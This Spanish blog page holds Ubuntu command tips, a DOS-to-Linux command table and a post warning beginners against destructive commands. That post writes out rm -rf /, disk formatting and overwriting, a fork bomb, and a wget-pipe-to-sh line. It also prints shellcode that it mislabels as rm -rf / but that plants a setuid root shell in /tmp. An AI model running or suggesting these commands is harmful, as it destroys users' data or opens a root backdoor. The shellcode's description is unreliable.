El Blog de aOliNex!

Un blog de Informática, Internet, Windows y Ubuntu

inside of a tux

Ahora con estos comandos podrás saber todo lo que necesitas cuando busques algún controlador o driver para tu equipo en Ubuntu, por ejemplo si deseas saber que adaptador de red tienes, o que driver usa tu tarjeta inalámbrica.

  • Para poder sacar una lista de especificaciones completa de tu hardware en Ubuntu (su similar en Windows podría ser el comando dxdiag desde Menú Inicio » Ejecutar) :

sudo lshw

  • También puedes obtener detalles específicos agregando -C valor; donde valor es el detalle a enlistar, por ejemplo para obtener detalles de tus discos:

sudo lshw -C disk

  • (RECOMENDADO) Si en el terminal te parece desordenada la información, puedes exportar en un html las especificaciones (se guarda en tu carpeta /home/usuario):

sudo lshw -html > nombre-de-archivo.html

Via | UbuntuBlog

COMANDOS QUE NUNCA DEBES USAR EN LINUX

Posted by aOliNex On Noviembre - 20 - 2008

Es bueno que sepas que cosas no hacer en Linux, mas aún si eres una de las personas que recién se inicia con este sistema operativo. Otra razón es para evitar que alguna vez te encuentres con alguien que te quiera tomar el pelo, en foros o salas de chat. Acá hay una lista de algunos comandos que NUNCA DEBES EJECUTARLOS:

1. Comando:


rm -rf /
Este comando forzará a borrar recursivamente todos los archivos del directorio root (variantes : rm -rf * ó rm -rf . ó rm -r .[^.]* ). Este gráfico lo explica mejor xD:

sudo-rm-rf

2. Comando:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

La versión hexadecimal del comando anterior [rm -rf /].

3. Comando:

mkfs.ext3 /dev/sda

Mkfs es usado para formatear una partición, asi que basicamente creará un sistema de archivos ext3 en blanco en la primera partición de /dev/sda.

4. Comando:

:(){:|:&};:

Conocido como la bomba fork (forkbomb), este comando ejecutará una gran cantidad de procesos hasta que el sistema se cuelgue. Esto a menudo puede llevar a la corrupción de archivos.

5. Comando:

cualquier
_comando > /dev/sda

Manipulacion de bloques en los dispositivos: provoca que datos sean escritos en un bloque del dispositivo, puede provocar la pérdida de todos tus datos por abuso del sistema de archivos.

6. Comando:

wget http://algun_lugar_inseguro -O- | sh

Nunca descargues o ejecutes archivos de sitios inseguros, esto puedo conllevar a que ejecutes código malicioso en Linux.

7. Comando:

mv /home/tunombredeusuario/* /dev/null

Este comando moverá todos tus archivos del directorio home señalado, a un lugar que no existe; por lo tanto perderás estos archivos.

La mayoría de estos comandos necesitan el permiso de root para poder ejecutarlos. Vuelvo a repetir que no uses estos comandos en tu equipo, si quieres probarlos hazlo en una máquina virtual.

Como demostración, ésto es lo que sucede si ejecutas el primer o segundo comando:

Via |TECH SOURCE FROM BOHOL: The 7 Deadly Linux Commands | BeLinuxMyFriend

COMANDOS EN LINUX?

Posted by aOliNex On Agosto - 29 - 2008


Si eres nuevo en Linux, al oir acerca de sus comandos podrás pensar que son díficiles de aprender y deben de ser muchos. Pues a mi parecer, con la práctica de usar algunos, te darás cuenta de que no son dificiles y son pocos los necesarios para el uso diario. Aca hay una guia de comandos básicos imprescindibles que usaras a diario y de cómo instalar aplicaciones en Ubuntu

Ahora si estabas acostumbrado a usar linea de comandos en Windows esta tabla te ayudará a usar sus semejantes en Linux:

Comando DOS Comando Linux
cd directorio cd directorio
dir, dir/w ls, ls -l
chdir (directorio actual) pwd
del (borra un archivo) rm
deltree (borra un directorio y todo su contenido) rm -r
copy cp
xcopy (copia todo el contenido de un directorio) cp -R
rename, move mv
type (imprime el contenido de un archivo a la pantalla) cat
help, [comando] /? man
cls (limpia la pantalla) clear
find (busca por una palabra(s) en un determinado archivo) grep
fc (compara 2 archivos y encuentra diferencias entre ellos) diff
set (muestra variable de entorno) env
set variable (fija una variable de entorno) export
edit nombre-de-archivo vi archivo, pico archivo, nano -w archivo (varios basados en el editor de tu preferencia)
attrib +h archivo (fija un archivo como oculto) mv file .file
mem (muestra la memoria disponible) free, top
scandisk fsck
defrag c:\ debugfs
format mke2fs, mk32fs -j, mkreiserfs, mkswap, etc. (varios basados en el sistema de archivos de tu preferencia)
pkzip (crea un paquete de archivos) tar, utilizado en conjunto con gzip para compresión)
tracert traceroute
ipconfig (visualiza dirección IP y configuración de red) ifconfig
nbtstat -a nombrehost (toma la información DNS de un determinado host) nslookup nombrehost
route print (muestra tablas de ruteo) route -n
net send host/ip message (envia un mensaje a otro computador) smbclient -M Windows Host, talk (Linux hosts)
Por último, si te interesa puedes leer este artículo sobre 5 razones para usar linea de comandos:

1. Control total del sistema. Esto puede variar. Lo que trato de decir es que estoy acostumbrado a hacer algunas tareas utilizando algunas herramientas de línea de comandos en lugar de una aplicación gráfica. Por ejemplo, usar una aplicación gráfica que me haga preguntas sobre si realmente estoy seguro de pasar los argumentos que quiero o utilizar algunos valores por defecto que no necesito. Ni una sola vez he visto una aplicación gráfica basada en línea de comandos capaz de aplicar sólo la mitad de las opciones disponibles, por lo que no fui capaz de hacer lo que realmente quería.

2. Potente para muchas tareas. La línea de comandos es a menudo más potente que las aplicaciones gráficas para tareas específicas. Por ejemplo, piensa en la posibilidad de tener un directorio con cientos de diferentes tipos de archivos en él. Mover, copiar, renombrar a la larga sería muy difícil en una interfaz gráfica. Seleccionar casi cada elemento con el ratón mientras presiona CTRL no es fácil para una gran cantidad de archivos y tardas mucho tiempo en hacerlo todo. Con la línea de comandos puedes utilizar un único comando con el fin de realizar cualquiera que sea la tarea.

3. Posibilidad de usar guiones bash. Tengo varios pequeños scripts en mi directorio ~/bin/, que en Debian detecta e incluye por defecto en la ruta de comandos ejecutables. Por lo tanto, puedo ejecutar comandos específicos sobre algunos archivos con un solo comando y un parámetro. Esto es muy útil si tienes algunas necesidades específicas o quieres un comportamiento determinado con alguna herramienta, que no se aplica a cualquier aplicación gráfica.

4. Menos memoria. Utilizando la línea de comando no hará falta cargar en el sistema librerías adicionales que no estén aún cargadas para las aplicaciones gráficas.

5. Capacidad para utilizar alias. Alias es una gran característica de bash que permite a un usuario crear uno o más comandos utilizando un comando sencillo, fácil de escribir, llamado alias. La capacidad de utilizar esto a menudo hace que el trabajo sea más fácil.

Por favor comparte estas ventajas (si quieres) si crees que la línea de comandos es una alternativa más potente que las aplicaciones gráficas.

Traducción del artículo 5 reasons to use cli over gui de Dan Craciun en Echoes.

Fuentes |el Blog de rogertrips |Archivo Geek |Solo GNU y otras cosas

Flickr

  • www.flickr.com

Comentarios

    • Vate: @aOliNex: Perrin es una forma diferente decir amig...
    • Atomic Wall Clocks: That is definitely perfect and so well thought out...
    • Salvador (savior): Gracias por la informacin. He encontrado tu blog e...
    • Enzo: Ya està solucionado amigo , solo bajè la ultima ac...
    • Enzo: Fantastico tutorial,laverdad el mas claro que he e...

Etiquetas

Acerca de

Hola, este es un blog personal, donde encontrarás noticias o cosas de la internet que me llamen la atención, y algunos pequeños tutoriales que haré sobre Ubuntu y Windows; con la finalidad de compartir y no olvidar lo que uno aprende...